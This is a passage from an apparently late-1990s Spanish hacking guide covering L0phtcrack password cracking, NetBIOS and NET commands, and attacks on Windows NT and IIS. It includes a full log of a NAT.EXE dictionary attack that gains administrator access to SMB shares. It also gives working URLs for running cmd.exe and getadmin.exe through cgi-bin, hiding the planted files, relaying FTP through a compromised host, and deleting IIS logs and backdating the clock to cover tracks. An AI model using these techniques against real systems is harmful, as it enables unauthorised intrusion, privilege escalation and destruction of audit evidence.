posibles, se prueban todas las posibles combinaciones de hasta 7 caracteres

de longitud (ver el por que solo 7 caracteres y no 14 en la explicacion de la

encriptacion de passwords en Windows NT ]). La primera y la segunda mitad del

password LANMAN son comparadas contra cada una de estas posibles combinaciones,

devolviendo asi todos los passwords de hasta 14 caracteres que se hayan podido

descifrar. Cuando se encuentre una coincidencia, la palabra es probada con las

2 elevado a longitud(palabra) posibles combinaciones.

 

Cambiando la cadena de caracteres que se procesa por defecto, podemos reducir

drasticamente la cantidad de tiempo empleada en un ataque de fuerza bruta al

usar todo el espacio de posibles combinaciones. Recuerda que los siguientes

caracteres no son validos en un password, por lo que no necesitan ser

incluidos:

'/', '\', '[', ']'', ':', ';', '|,' ,'=', ',','+', '*', '?', '<', '>'

(de acuerdo a la informacion que Microsoft facilita).

 

Por ejemplo, si lo unico que quieres es chequear todas las posibles

combinaciones de letras del alfabeto, te basta con pasarle la cadena

ABCDEFGHIJKLMNOPQRSTUVWXYZ como argumento.

 

 

3.5.2. ¨Por que es tan importante ser capaz de atacar solo claves MD4?

 

El ataque o crackeo de passwords solo en formato MD4, sin usar LANMAN, es

evidentemente mucho mas lento que crackear el password en formato LANMAN y

despues probar todas las combinaciones de mayusculas/minusculas.

 

Los cambios producidos en la especificacion CIFS (Common Internet File System)

implican que un servidor puede ser capaz de forzar a un cliente a usar el

dialecto MD4 de NT en la conexion, sin dar la posibilidad de usar LANMAN. Por

eso, se debe ser capaz de poder crackear este tipo de passwords directamente,

dado que, a menudo, en una sesion de hacking, se usaran sniffers que pondran a

la tarjeta de red en modo promiscuo, pudiendo monitorizar todo el trafico de

la red.

 

3.5.3. Rendimiento de L0phtcrack.

 

La revision 1 de la herramienta, era capaz de probar un diccionario de 8 megas

contra un listado de 100 usuarios en menos de 1 minuto en un Pentium Pro 200

con la version de interface grafico. La version de linea de comandos (ventana

MSDOS) es algo mas rapida incluso, pudiendo sondear por fuerza bruta la

cadena "ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789-_" en un poco mas de 3 dias en

un P133.

 

La version 2.0 es capaz de chequear cientos de usuarios con un diccionario de

100.000 palabras en unos pocos minutos usando un Pentium Pro 200. La unica

pega de usar el metodo de fuerza bruta es que solo encuentra passwords muy

simples (mal elegidos por su due¤o debido a su simplicidad).

 

En la version 2.0, usando la cadena de caracteres A-Z, nos lleva 24 horas

generar todas las posibles combinaciones y encriptarlar en un Ppro 200. Si se

usa la cadena A-Z, 0-9, lleva alrededor de 10 dias.

 

Ademas, hay que tener en cuenta que existe una prueba para determinar de forma

rapida cuando un usuario ha elegido un password de 7 caracteres o menos  ] y

empezar a crackear solo este tipo de passwords, con el consiguiente ahorro de

tiempo.

 

 

3.5.4. Donde conseguir la herramienta L0phtcrack.

 

L0phtcrack se distribuia libremente en http://www.l0pht.com/advisories.html,

donde ademas se notificaban los nuevos ataques y vulnerabilidades encontrados

contra sistemas operativos y programas/utilidades/servicios conocidos. Sin

embargo la ultima version, la 2.0, ya no trae el codigo fuente. Ademas, deja

de ser gratuita para pasar a ser shareware. A cambio, introduce las siguientes

mejoras:

 

$ Un sniffer de red para capturar sesiones SMB, lo que permite recolectar

passwords LANMAN encriptados sin tener permisos de administrador.

$ Usar la funcion SAMDUMP para extraer los passwords encriptados (los hashes)

de la rama SAM del registro, del disco de reparacion de emergencia o de una

cinta de backup.

$ La capacidad de salvar y restaurar un ataque de fuerza bruta empezado y no

terminado.. Se guardan tanto la iteracion actual como el conjunto de

caracteres usado junto con los resultados parciales. Este fichero es salvado

automaticamente cada 5 minutos, para no perder por un descuido (corte de luz,

aparicion repentina del administrador...) cualquier resultado de un ataque

por fuerza bruta.

$ Cuando una de las mitades de un password LANMAN es encontrada, se muestra

por pantalla. Esto nos puede ayudar a descifrar el resto por sentido comun.

$ Se ofrecen cadenas de caracteres para el ataque de fuerza bruta.

$ Algoritmo de multiproceso para ataques de fuerza bruta. Rendimiento de un

ataque por fuerza bruta: 6 horas en un ataque usando la cadena de caracteres

de la A -Z y 62 horas usando la cadena de la A-Z,0-9 en un ordenador equipado

con cuatro procesadores Pentium Pro 200.

$ Mayor velocidad de sondeo de passwords ante una gran entrada de usuarios

gracias a un algoritmo de busqueda mejorado. Ahora es posible usar fuerza

bruta contra 10.000 entradas de usuario a la vez.

$ L0phtCrack es ahora un proceso en background que se ejecuta con proridad

inferior a la normal y puede ser ocultado inmediatamente (para ser

posteriormente restaurado) mediante la pulsacion de una combinacion especial

de teclas: Ctrl-Alt-L (otra vez util ante posibles entradas de personas

non-gratas en mitad de un proceso de escaneo de passwords).

 

 

La version de evaluacion, salio 6 meses despues de la version 1.5 y esta

limitada a 15 dias de prueba, tras lo cual el producto deberia ser registrado,

pagando $50. La version con interfaz de linea de comandos, recortada aunque

con codigo fuente, tambien esta disponible de forma gratuita.

 

 

 

4. Introduccion a NetBIOS.

 

4.1. ¨Que es NetBIOS?

 

NetBIOS (Network Basic Input Output System) fue originalmente desarrollado por

IBM y Sytek como un API para el software cliente de recursos de una red local

(LAN). Desde su creacion, NetBIOS se ha convertido en el fundamento de muchas

otras aplicaciones de red. En sentido estricto, NetBIOS es una especificacion

de interface para el acceso a servicios de red.

 

NetBIOS, una capa de software desarrollado para enlazar un sistema operativo

de red con hardware especifico, fue originalmente dise¤ado como

EL controlador de red para las redes LAN de IBM. Hoy en dia, NetBIOS ha sido

extendido para permitir a los programas que han sido escritos usando dicho

interface poder trabajar con la arquitectura Token Ring de IBM. NetBIOS ha

sido adoptado como un estandar mundial y hoy en dia es comun escuchar que una

red local es compatible NetBIOS.

 

Resumiendo, y de forma sencilla, NetBIOS permite a las aplicaciones 'hablar'

con la red. Su intencion es conseguir aislar los programas de aplicacion de

cualquier tipo de deopendencia del hardware. Tambien evita que los

desarrolladores de software tengan que desarrollar rutinas de recuperacion

ante errores o de enrutamiento o direccionamiento de mensajes a bajo nivel.

NetBIOS hace el 'trabajo sucio'.

 

En una red local con soporte NetBIOS, los ordenadores son conocidos e

identificados con un nombre. Cada computador de la red tiene un unico nombre.

 

Cada PC de una red local NetBIOS se comunica con los otros bien sea

estableciendo una conexion (session), usando datagramas NetBIOS o mediante

broadcast. Las sesiones (establecimiento de una conexion) permiten, como en

el protocolo TCP, mandar mensajes mas largos y gestionar el control y

recuperacion de errores. La comunicacion sera punto a punto. Por otro lado,

los metodos de datagramas y broadcast permiten a un ordenador comunicarse con

otros cuantos al mismo tiempo, pero estando limitados en el tama¤o del mensaje.

Ademas, no hay control ni recuperacion de errores (al igual que ocurre en UDP).

A cambio, se consigue una mayor eficiencia con mensajes cortos, al no tener

que establecer una conexion.

 

Asi pues, NetBIOS permite comunicacion orientada a conexion (TCP) o no

orientada a conexion (UDP). Soporta tanto broadcast como multicast, ademas

de 3 tipos de servicio diferentes: Servicio de Nombres, Servicio de Sesion y

Servicio de Datagramas.

 

 

 

4.2. Servicio de Nombres en NetBIOS

 

Los nombres en NetBIOS son usados para identificar recursos en la red. Las

aplicaciones usan estos nombres para empezar y terminar conexiones.

Puedes configurar una unica maquina para multiples aplicaciones y asignar un

nombre distinto a cada una de ellas. Ademas en NetBIOS se identifica tambien

a cada ordenador de la red de forma univoca, por un unico nombre.

Cada uno de estos nombres puede estar formado por 16 caracteres alfanumericos.

La combinacion de caracteres debe ser unica dentro de cada red. Para ello,

antes de que un PC pueda usar un nombre NetBIOS, debe resgistrarlo. Cuando un

cliente quiere registrar un nombre, debe advertirlo a toda la red mediante

broadcast y esperar las respuestas de los otros nodos para confirmar que el

nombre no esta en uso. Si ningun cliente reclama el nombre, el proceso de

registro termina y el nombre de servicio ha quedado registrado.

 

Existen 2 tipo de nombres en un entorno NetBIOS: 'Unique' y 'Group'.

Un nombre 'Unique', como su propio nombre indica, debe ser unico en toda la

red.

Un nombre de grupo no tiene por que ser unico y asi, todos los procesos con

un determinado nombre de grupo pertenecen a dicho grupo.

Cada nodo NetBIOS mantiene una tabla con todos los nombres de los que es

propietario.

 

Aunque en principio las especificaciones NetBIOS permiten nombres de 16

caracteres, Microsoft los limita a 15 y usa el 16§ como un sufijo NetBIOS.

Este sufijo es usado por el software de rted de Microsoft para identificar

el servicio o dispositivo registrado.

 

Los puertos en los que 'trabaja' NetBIOS sobre TCP/IP (NBT) son el 137

Servicio de Nombres NetBIOS (UDP), 138 Servicio de datagramas NetBIOS (UDP)

y el 139, Servicio de Conexion NetBIOS (TCP).

 

A continuacion se lista una  tabla de los sufijos NetBIOS usados actualmente

por Microsoft Windows NT. Los sufijos se muestran en formato hexadecimal.

 

 

'Unique' (U): el nombnre deberia tener solo una direccion IP asignada. En un

dispositivo de red, podria parecer que aparecieran registradas multiples

ocurrencias de un mismo nombre, pero el sufijo sera unico, por lo que el

nombre completo (con sufijo) sera unico ('Unique').

 

'Group' (G): un grupo normal; un unico nombre podria tener asignadas varias

direcciones IP.

 

'Multihomed' (M): el nombre es unico, pero debido a que en un mismo ordenador

puede haber mas de un interface de red, esta configuracion es necesaria para

permitir su registro. El numero maximo de direcciones IP que puede tener

asignado es de 25.

 

'Internet Group' (I): esta es una configuracion especial de un nombre de

grupo para poder gestionar los nombres de dominio de Windows NT.

 

'Domain Name' (D): nuevo en NT 4.0 (Nombre de Dominio)

 

Para echarle un vistazo a los nombres y servicios NetBIOS registrados en

los servidores de la red, puedes ejecutar el siguiente comando:

 

'nbtstat -A [direccion_IP]'

o

'nbtstat -a [nombre_host]

 

 

 

 

4.3. El servicio de 'Session' NetBIOS

 

El servicio de Session (Conexion) NetBIOS nos ofrece un servicio orientado a

conexion, seguro (se asegura que los datos llegan a su destino) y full-duplex.

El establecimiento de una conexion NetBIOS requiere que una estacion cliente

y otra estacion servidor esten sincronizados. Asi, una estacion debe estar en

modo listen cuando la otra le mande un comando call.

Cuando se establece una llamada cada aplicacion recibe una notificacion de

que efectivamente, se ha establecido la conexion y un identificador de la

misma. Los comandos send y receive transfieren los datos. Al final de una

sesion, cualquiera de las dos aplicaciones puede lanzar un comando de fin

Hang-Up (colgar).

No hay un control de flujo real para el servicio de conexion debido a que se

asume que la red local (LAN) es lo suficientemente rapida como para soportar

todo el trafico generado.

 

4.4. Datagramas NetBIOS

 

Los datagramas pueden ser enviados a un nombre especifico, a todos los

miembros de un grupo o en modo broadcast a toda la red. Como en otros

servicios de datagrama (UDP), los datagramas NetBIOS son no orientados a

conexion y no aseguran que los datos lleguen a su destino. El comando

Send_Datagram requiere que el emisor especifique el nombre del destino. Si el

destino es un nombre de grupo, todos los miembros del mismo recibiran el

datagrama. La aplicacion que lance un comando "Receive_Datagram" debe

especificar el nombre local para el que quiere recibir servicio de datagramas.

Este comando devuelve, ademas de los datos propiamente dichos que lleve el

datagrama, el nombre del emisor. Si NetBIOS recibe un datagrama, pero no se

ha lanzado un comando "Receive_Datagram", el datagrama sera descartado.

 

El comando Send_Broadcast_Datagram manda el mensaje a todos los sistemas

NetBIOS de la red local. Cuando un datagrama de este estilo es recibido por

un nodo NetBIOS, cada proceso que haya lanzado un comando

"Receive_Broadcast_Datagram" recibira dicho datagrama. Si no existe ninguna

peticion de recepcion de datagramas, este sera descartado.

 

NetBIOS permite a una aplicacion establecer una conexion con cualquier otro

dispositivo y deja que el redirector  y los protocolos de transacciones pasen

los mensajes entre maquinas. NetBIOS no manipula de ninguna manera los

mensajes. Las especificaciones NetBIOS define un interface para el protocolo

de red usado para obtener ciertos servicios, pero no define el protocolo como

tal. Historicamente se ha emparejado con un protocolo de red llamado NetBEUI

(Network Extended User interface). La asociacion del interface y del

protocolo a menudo puede llevar a confusion, pero son dos cosas diferentes.

 

Los protocolos de red siempre ofrecen al menos un metodo de localizar y

conectarse a un servicio concreto de una red. Esto se consigue normalmente

convirtiendo el nombre de un nodo o de un servicio a una direccion de red

(lo que se ha dado en llamar resolucion de nombres).

Los nombres NetBIOS deben ser resueltos a una direccion IP antes de

establecer una conexion TCP/IP. Muchas implementaciones NetBIOS para TCP/IP

consiguen la resolucion de nombres bien sea usando broadcast o ficheros

LMHOSTS. En un entorno Microsoft Windows, seguramente usaras un Servidor de

Nombres NetBIOS conocido como WINS.

 

 

 

5. Vulnerabilidades NetBios. NAT.

 

Esta tecnica de ataque NetBIOS ha sido verificada en Windows 95, NT 4.0

Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server y

Windows 98 beta 2.1. Uno de los componentes que se suelen usar en este tipo

de ataques es NAT.EXE, una utilidad de Andrew Tridgell.

A continuacion, discutiremos los usos de esta herramienta, sus parametros

y las tecnicas mas usadas:

 

NAT.EXE [-o nombre_fichero] [-u lista_usuarios] [-p lista_passwords]

        <direccion_IP>

 

Parametros:

 

-o Especifica el fichero de salida. Todos los resultados del escaneo seran

escritos en este fichero, ademas de en pantalla.

-u Especifica el fichero fuente del que se leeran los nombres de usuario. Se

usaran estos nombres en un ataque de diccionario al servidor remoto. Los

nombres deben aparecer uno por linea.

-p Especifica el fichero donde se encuentran los passwords a probar. Deben ir

tambien uno por linea.

<direccion_IP> Las direcciones deben ir delimitadas por comas, sin espacios.

Ejemplos de rangos de direcciones validas son:

 

nombre_host : se escaneara este host

127.0.0.1-127.0.0.3 : escaneara el rango de direcciones comprendido entre

127.0.0.1 y 127.0.0.3

127.0.0.1-3 : equivalente al anterior.

127.0.0.1-2,7,10-20: escaneara el rango de direcciones comprendido entre

127.0.0.1 y 127.0.0.3 luego el host 127.0.0.7 y finalmente

los comprendidos entre 127.0.0.10 y 127.0.0.20

nombre_host, 127.0.0.1-3 : escanea el nombre_host y luego las maquinas

con @IP entre 127.0.0.1 y 127.0.0.3

 

Todas las combinaciones de nombres_host y rangos de direcciones especificadas

como las del los ejemplos anteriores son validas.

 

5.1. El comando NBTSTAT

 

El ataque realizado con NAT es equivalente a una combinacion de NBTSTAT y

comandos NET. Por lo tanto, veamos con un poco mas de detalle los resultados

de realizar un nbstat a la direccion XXX.XX.XXX.XX.

 

C:\nbtstat -A XXX.XX.XXX.XX

 

NetBIOS Remote Machine Name Table

 

Name               Type         Status

---------------------------------------------

STUDENT1       <20>  UNIQUE      Registered

STUDENT1       <00>  UNIQUE      Registered

DOMAIN1        <00>  GROUP       Registered

DOMAIN1        <1C>  GROUP       Registered

DOMAIN1        <1B>  UNIQUE      Registered

STUDENT1       <03>  UNIQUE      Registered

DOMAIN1        <1E>  GROUP       Registered

DOMAIN1        <1D>  UNIQUE      Registered

..__MSBROWSE__.<01>  GROUP       Registered

 

MAC Address = 00-C0-4F-C4-8C-9D

 

Recordemos un poco cual es el significado del 16§ bit en los codigos NetBIOS:

 

Nombre_host <00> UNIQUE Nombre de servicio de la estacion de trabajo

                                                                                                                                                              <00> GROUP  nombre de dominio

Servidor        <20> UNIQUE Nombre de Servicio del Servidor

 

Nombre_host <03> UNIQUE Registrado por el servicio de mensajeria. Este es

nombre de host que debera a¤adirse al fichero LMHOSTS, que, aunque no es

necesario para el uso de NAT.EXE sera necesario si quieres ver el ordenador

remoto en la lista de 'Network Neighborhood' (Otros ordenadores conectados)

 

Nombre_Usuario <03>  Registrado por el servicio de mensajeria.

Nombre_Dominio <1B>  Registra el ordenador local como el "master browser"

                     para el dominio.

Nombre_Dominio <1C>  Registra el ordenador como un controlador de dominio

                     para el  dominio  (PDC o BDC)

        

Nombre_Dominio <1E>  Se registra como un nombre de grupo NetBIOS

<BF>        Nombre del Monitor de Red

<BE>        Agente Monitor de Red

<06>        Servidor RAS

<1F>        Red DDE

<21>        Cliente RAS

 

5.2. Introduccion a los comandos NET

 

El comando NET puede ser introducido por los administradores a traves de una

ventana DOS para mostrar informacion  sobre servidores, redes, recursos

compartidos y conexiones. Tambien tiene un numero de opciones que puedes usar

para a¤adir cuentas de usuario, cambiar la configuracion del dominio y

configurar recursos compartidos.. En esta seccion se mostraran estos comandos

NET y se dara un peque¤o script que se puede usar como una herramienta basica

de analisis de seguridad. Antes de continuar con estas tecnicas, se discutiran

las opciones disponibles para el comando NET.

 

Net Accounts: este comando muestra la configuracion actual y las restricciones

que se aplican en la politica de passwords, limitaciones de conexion e

informacion de dominio. Tambien contiene opciones para actualizar la base de

datos con las cuentas de los usuarios y modificar los requerimientos de

conexion y password.

 

Net Computer: a¤ade o borra hosts de la base de datos de un dominio.

 

Net Config Server o Net Config Workstation: muestra info. sobre la

configuracion del servicio de servidor. Cuando se usa sin especificar Server

o Workstation, el comando muestra una lista de los servicios configurables.

 

Net Continue: reactiva un servicio NT que fue suspendido

por un comando NET PAUSE.

 

Net File: este comando muestra los ficheros abiertos en un servidor y tiene

opciones para cerrar los ficheros compartidos y desbloquear ficheros.

 

Net Group: muestra informacion sobre nombres de grupo y tiene opciones

que se pueden usar para a¤adir o modificar grupos globales en servidores.

 

Net Help: ofrece ayuda para el comando Net.

 

Net Helpmsg message#: ofrece ayuda para un error de red en particular

o para un mensaje de alguna funcion.

 

Net Localgroup: usado para listar grupos locales en servidores.

Tambien es posible modificar estos grupos.

 

Net Name: muestra los nombres de los ordenadores y de los usuarios a

los que se les puede mandar mensajes.

 

Net Pause: usa este comando para suspender un determinador servicio NT.

 

Net Print: muestra los trabajos mandados a la impresora y

las colas compartidas.

 

Net Send: usado para mandar mensajes a otros usuarios u ordenadores de la red.

 

Net Session: muestra informacion sobre las conexiones actuales.

Ofrece comandos para desconectar ciertas sesiones.

 

Net Share: muestra informacion sobre todos los recursos compartidos.

Este comando es usado para crear recursos compartidos a traves de red.

 

Net Statistics Server o Net Statistics Workstation: muestra el registro

de estadisticas.

 

Net Stop: para servicios NT, cancelando cualquier conexion que este usando el

servicio. Hay que citar que parar un servicio puede traer como efecto lateral el

detener otros.

 

Net Time: comando usado para mostrar o inicializar la hora de

un ordenador o dominio.

 

Net Use: muestra una lista de ordenadores conectados y tiene

opciones de conexion y desconexion de recursos compartidos.

 

Net User: este comando mostrara una lista de cuentas de usuario para el

ordenador y tiene opciones de manipulacion/creacion de estas cuentas.

 

Net View: muestra una lista de recursos compartidos en un

ordenador, incluyendo servidores Netware.

 

 

5.3. Una sesion de ataque NetBIOS mediante el uso de NET VIEW y NET USE

 

C:\net view XXX.XX.XXX.XX

 

Shared resources at XXX.XX.XXX.XX

 

Share name   Type         Used as  Comment

 

------------------------------------------------------------------------------

NETLOGON     Disk                  Logon server share

Test         Disk

The command completed successfully.

 

NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.

 

C:\net use /?

 

The syntax of this command is:

 

NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]

[/USER:[domainname\]username]

[[/DELETE] | [/PERSISTENT:{YES | NO}]]

 

NET USE [devicename | *] [password | *]] [/HOME]

 

NET USE [/PERSISTENT:{YES | NO}]

 

C:\net use x: \\XXX.XX.XXX.XX\test

 

The command completed successfully.

 

 

C:\net use

 

New connections will be remembered.

 

Status       Local     Remote                    Network

 

-------------------------------------------------------------------------------

OK           X:        \\XXX.XX.XXX.XX\test      Microsoft Windows Network

OK                     \\XXX.XX.XXX.XX\test      Microsoft Windows Network

 

The command completed successfully.

 

5.4. Una sesion de ataque NetBIOS mediante el uso de NAT.EXE

 

Ahora viene el esperado ejemplo de ataque NetBIOS mediante la utilidad NAT.EXE.

La informacion listada a continuacion es una captura de una sesion de ataque

real. La direccion IP ha sido modificada para prevenir represalias:

 

C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YY.YY.YY.YY

 

 

[*]--- Reading usernames from userlist.txt

[*]--- Reading passwords from passlist.txt

 

[*]--- Checking host: XXX.XX.XXX.XX

[*]--- Obtaining list of remote NetBIOS names

 

[*]--- Attempting to connect with name: *

[*]--- Unable to connect

 

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03

[*]--- Server time is Mon Dec 01 07:44:34 1997

[*]--- Timezone is UTC-6.0

[*]--- Remote server wants us to encrypt, telling it not to

 

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to establish session

[*]--- Was not able to establish session with no password

[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'

[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

 

[*]--- Obtained server information:

 

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

 

 

[*]--- Obtained listing of shares:

 

Sharename      Type      Comment

---------      ----      -------

ADMIN$         Disk:     Remote Admin

C$             Disk:     Default share

IPC$           IPC:      Remote IPC

NETLOGON       Disk:     Logon server share

Test           Disk:

 

[*]--- This machine has a browse list:

 

Server               Comment

---------            -------

STUDENT1

 

 

[*]--- Attempting to access share: \\*SMBSERVER\

[*]--- Unable to access

 

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$

[*]--- Checking write access in: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

 

[*]--- Attempting to access share: \\*SMBSERVER\C$

[*]--- WARNING: Able to access share: \\*SMBSERVER\C$

[*]--- Checking write access in: \\*SMBSERVER\C$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

 

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON

[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON

[*]--- Checking write access in: \\*SMBSERVER\NETLOGON

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

 

[*]--- Attempting to access share: \\*SMBSERVER\Test

[*]--- WARNING: Able to access share: \\*SMBSERVER\Test

[*]--- Checking write access in: \\*SMBSERVER\Test

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

 

[*]--- Attempting to access share: \\*SMBSERVER\D$

[*]--- Unable to access

 

[*]--- Attempting to access share: \\*SMBSERVER\ROOT

[*]--- Unable to access

 

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$

[*]--- Unable to access

 

Asi pues, si el recurso compartido tiene puestos los permisos por defecto:

Control Total / Todos , el servidor esta a tu disposicion. Si no, sigue

intentandolo. Te sorprenderia saber todo lo que se dejan los administradores

por ahi ;-)

 

 

6. Vulnerabilidades en Internet Information Server (IIS)

 

(Basado en el trabajo original en ingles de David Litchfield: "A discussion

of a variety of potential "Hacks" on MS Internet Information Server)

 

6.1. Entrando por la puerta trasera.

 

Recientemente realice una busqueda en Excite usando el siguiente criterio de

busqueda: "batch files as CGI Scripts". Esta frase aparece en el capitulo 8

de la ayuda en linea de MS IIS. El resultado de la busqueda produjo una lista

masiva de maquinas NT con IIS en Internet. Con gran curiosidad decidi sondear la

fortaleza de estos sistemas desde el punto de vista de la seguridad (o la

falta de ella).

 

He testeado unas 50 maquinas y los resultados han sido sorprendentes. He

encontrado 7 maquinas en las que se podria poner ficheros en el sistema via

ftp; no solo eso: en 2 de esas maquinas podria copiar ficheros a un directorio

www-virtual con permisos de lectura y ejecucion... Oooops!! Podria copiar

cmd.exe (ahora veremos por que) y getadmin.exe (mas gasys.dll por supuesto)

a ese directorio. Despues, usando mi navegador podria seguir la siguiente

direccion URL: http://www.target.com/cgi-bin/getadmin.exe?iusr_hostname

 

(es bastante comun que el servicio FTP en IIS muestre el nombre del servidor..

y si la cuenta anonima por defecto no ha sido deshabilitada tras realizar

estos sencillos pasos...­ya disponemos de una cuenta "propia"!).

 

Ejecutando getadmin.exe de forma remota como se ha mostrado, realiza

correctamente su trabajo ;-) ... pruebalo.

 

Asi que ya disponemos de derechos de administrador ... pronto veremos que

hacer con ellos. ¨Que podemos decir sobre cmd.exe? Apunta a una direccion de

este estilo con el navegador:

 

http://www.host.com/cgi-bin/cmd.exe?/c%20dir%20c:\winnt

 

o la siguiente:

 

http://somehost/cgibin/cmd.exe?/c%20copy%20c:\winnt\*.*%20c:\inetpub\ftproot

 

si copiamos como hemos dicho el programa cmd.exe al directorio cgi-bin (por

ejemplo) y el administrador abre el explorador de NT en ese directorio, el

programa cmd.exe saltara a la vista inmediatamente... asi que es necesario

esconderlo:

 

http://somehost/cgibin/cmd.exe?/c%20c:\winnt\system32\attrib.exe%20%2BH%cmd.exe

 

Esto hace que el fichero pase a estar oculto (esperemos que el administrador

tenga puesto el filtro que viene por defecto en NT para no ver en el

Explorador los archivos ocultos).

 

Si te preocupa el significado de los signos de porcentaje, ahora pasamos a

explicarlos:

% este signo avisa de los dos numeros siguientes codifican en hexadecimal un

caracter ASCII.

%20 implica el signo ASCII de espacio en blanco

%2B codifica el caracter ASCII '+', asi pues, el trozo de URL anterior:

attrib.exe%20%2BH%20cmd.exe se puede "traducir" por attrib.exe +H cmd.exe

 

Nota: si no usas el codigo ASCII en hexadecimal para el caracter '+' y en

su lugar usas el signo '+' sin codificar, no se ejecutara el comando attrib

correctamente dado que en CGI, el caracter '+' se usa para separar parametros.

 

Nota para los administradores: configurar el Explorer de NT para que

muestre todos los ficheros y el intruso no pueda esconder sus acciones tan

facilmente. Una vez que tengas el fichero "cmd.exe" puedes ejecutar cualquier

linea de comandos que quieras, lo que nos lleva a comentar el siguiente ataque.

 

6.2. El ataque Pipe HTTP/FTP

 

La idea general es conectarse a una maquina, ejecutar un comando en esa

maquina para que se conecte a una tercera, haciendo que la 2¦ maquina sea una

especie de proxy. He aqui los pasos a seguir: desde mi maquina, usando HTTP,

conecto con el primer servidor, usando la siguiente URL:

 

http://www.host.com/cgi-bin/cmd.exe?/c:%20c:\winnt\system32\ftp.exe%20-

s:commands.txt%20dir_IP

 

Expliquemos el significado de esta URL. Cuando ejecutamos ftp.exe podemos

especificar el nombre de un fichero de texto que lista los comando que queramos

ejecutar, p.ejm.:

 

Anonymous

Fakename@host.com

Put file.txt

Put program.exe

Bye

 

Obviamente, deberas manipular los comandos convenientemente para que se

adecuen a tus necesidades... y lo que necesitamos ahora es subir este fichero

a la segunda maquina. Al final de la URL tienes dir_IP. Esta es la direccion

IP de la tercera maquina. Lo que hacemos es cargar el proceso ftp en memoria..

es importante mencionar que que la ventana de comandos no se abre en mitad del

escritorio al hacer esto... la unica forma de darse cuenta de que el proceso

ftp se esta ejecutando es usando el Task Manager (Adminitrador de Tareas) y

buscar a traves de los procesos en ejecucion. Si todo va bien, supongase que

la segunda maquina contacta con la tercera(el servidor a atacar) y ejecuta los

comandos del fichero que acabamos de subir: "command,txt". Asi que... ya lo

hemos conseguido... hemos dejado (o borrado si quisieramos) ficheros en la

tercera maquina sin tener una conexion directa. La direccion IP que apareca

en el fichero de logs (registro de actividad) de la tercera maquina sera la

de la segunda y no la nuestra.

 

Ahora, deberemos ocultar las trazas que hemos ido dejando en el ataque

(deberiamos dejar el terreno tan limpio como cuando entramos) de la 2¦ maquina.

Recuerda que habiamos ejecutado getadmin.exe.

 

El usuario IUSR:hostname tiene derechos de administrador... lo que es una

suerte porque para ocultar tus "actividades" de la mejor manera que puedas

necesitaras cambiar la fecha del sistema:

 

http://www.hostname.com/cgi-bin/cmd.exe?/c%20date%2011/11/97

 

inicializa la fecha a un tiempo ya pasado... ¨por que?

 

a) el administrador tendra que buscar en ficheros log antiguos (eso si se da

cuenta de que ha pasado algo raro) y si los logs antiguos son borrados con

cierta regularidad, tendra un peque¤o problema...

 

b) necesitaras borrar tambien otro log (para esconder tus trazas, la fecha en la

que entraste y en la que te encuentras tras haberla cambiado). Concretamente

el log que guarda las actividades del dia del ataque (sea 13-IV-98). Para

ello espera 5 minutos (para que el log se escriba a disco) y sigue la

siguiente direccion URL:

 

http://www.host.com/cgi-

bin/cmd.exe?/c%20del%20c:\winnt\system32\logfiles\in980413.log

 

Despues, es necesario inicializar la fecha al dia de hoy... a la fecha en la

que deberia estar... Hay otras cosas que se pueden hacer pero no entrare en

mas detalles. El trabajo de limpieza que hemos realizado no soportara un

intenso escrutinio pero pasara una inspeccion normal.

 

Usando el ataque HTTP/FTP Pipe Attack podrias atravesar un firewall... si el

firewall tiene una relacion de confianza con la @IP de la maquina IIS hackeada

es posible pasar ficheros y otro tipo de trafico (ICMP) a traves del firewall...

sientate y piensa que otras cosas se pueden "hacer" con la combinacion

cmd.exe/getadmin.exe. Piensa tambien en usar net.exe [seccion-5.2] junto con

estas dos aplicaciones para crear cuentas, cambiar passwords... lo que

quieras... incluso acceso a la rama SAM del Registro de Windows NT si el

administrador tiene permisos de lectura.

 

Cuidado, si en el servidor se esta ejecutando Internet Service Manager (ISM)

en su version HTML, es posible crear una cuenta, ejecutar getadmin.exe en

dicha cuenta y saltarse la seguridad de ISM (ism.dll) con un identificador

y/o un password correcto.

 

 

6.3. Otros ataques al IIS

 

Agotar el recurso HD con ficheros .mdb

 

Este tipo de ataque deberia ser clasificado como un ataque D.O.S. Es posible

rellenar el disco duro del objetivo con ficheros .mdb de 40k cada uno. Lo que es

preocupante es el hecho de que cerca de la mitad de las maquinas que he

observado son susceptibles a este tipo de ataque. Si seguimos la siguiente

direccion URL:

 

http://www.host.com/scripts/tools/getdrvrs.exe

 

nos llevara a una pagina Web donde podremos seleccionar un driver para crear

una fuente de datos para un controlador ODBC. Siguiendo las instrucciones en

pantalla podras crear un ficheros "loquequieras.mdb" de unos 40kb de longitud.

Si ejecutamos lo mismo unas 1000 veces habremos ocupadoo 40MB de disco duro.

No es dificil realizar un programa para automatizar la tarea (que incluso

disponga de opciones para especificar nombres, tama¤o a ocupar, etc...). Asi

pues, es necesario proteger estas paginas con password.

 

El Internet Service Manager (HTML)

 

Si no modificamos los directorios de la instalacion por defecto, el ISM se

encuentra en la siguiente direccion URL:

 

http://www.host.com/iisadmin/default.htm

 

Al intentar administrar cualquier servicio del ISM, se ejecuta la siguiente

